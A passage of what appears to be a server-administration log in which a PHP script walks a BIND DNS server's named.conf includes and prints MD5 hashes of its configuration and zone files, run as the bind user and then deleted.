MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:44:02: Establishing a connection
2026-04-25 10:44:02: 

PUT: /tmp/pkp732063

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:44:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp732063; rm /tmp/pkp732063'

2026-04-25 10:44:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
